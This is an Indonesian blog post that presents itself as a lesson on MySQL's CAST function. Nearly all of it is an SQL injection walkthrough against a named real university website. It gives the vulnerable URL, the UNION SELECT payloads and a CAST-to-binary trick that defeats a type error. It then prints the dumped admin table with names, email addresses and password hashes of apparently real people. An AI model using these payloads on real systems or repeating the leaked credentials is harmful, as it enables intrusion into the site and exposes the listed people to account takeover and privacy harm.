Apa fungsi cast dalam query mysql?
[+] fungsi cast ialah merubah sebuah type data ke type data tertentu.
[+] formatnya ialah CAST(ekspresi AS typedata);
fungsi ini sendiri jarang di gunakan sebab type dari mysql yang auto konversi, namun adakalanya fungsi ini harus di pakai.
disini aku mengambil kasus dimana cast di gunakan untuk mengeluarkan isu dalam sql injection
victim:
http://www.unsri.ac.id
vuln:
http://www.unsri.ac.id/main.php?id=-fak_ekonomi[sql]
cari jumlah kolomnya hingga true
sql:
http://www.unsri.ac.id/main.php?id=-fak_ekonomi'%20and%201=1%20union%20select1,2,3,4/*
ok true,
lalu coba kita keluarkan infomasi didalam tabel unsri_admin pada kolom nama,email, dan password.
(jika kau bertanya dari mana aku mampu mengetahui nama tabel dan kolom? silahkan lihat turotrial Mencari tabel dan kolom di target mysql)
SQL:
http://www.unsri.ac.id/main.php?id=-fak_ekonomi'%20union%20select%201,2,3,4,5,concat(nama,0x3a,email,0x3a,password)%20from%20%20unsri_admin/*
browser:
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /home/users/unsri/public_html/main.php on line 21
eror di atas terjadi sebab server tidak mampu membaca type data yang kita masukan.
Disinlah perintah cast akan di gunakan
SQL:
http://www.unsri.ac.id/main.php?id=-fak_ekonomi'%20union%20select%201,2,3,4,5,cast(concat(nama,0x3a,email,0x3a,password)%20as%20binary)%20from%20%20unsri_admin/*
browser:
Desrizal:drz@telkom.net:5a28802e0a45055bbdd3b34bc645b995
iwan:iwan_pas@unsri.ac.id:e172dd95f4feb21412a692e73929961e
deska:deska@gmail.com:6a5579e0e727c66a1fb3434485ce0008
rujito:rujito@unsri.ac.id:8b4af37ba8889583d8b9009165441480
Dengan kasus di atas mudah mudahan dapat menjelaskan ihwal bagaimana fungsi cast berkeja.
- Home
- DB TUTORIAL
- Routeros Mikrotik Tutorial - Cast sql mysql
Routeros Mikrotik Tutorial - Cast sql mysql
Related Posts
Subscribe to:
Post Comments
(
Atom
)
Comments
Post a Comment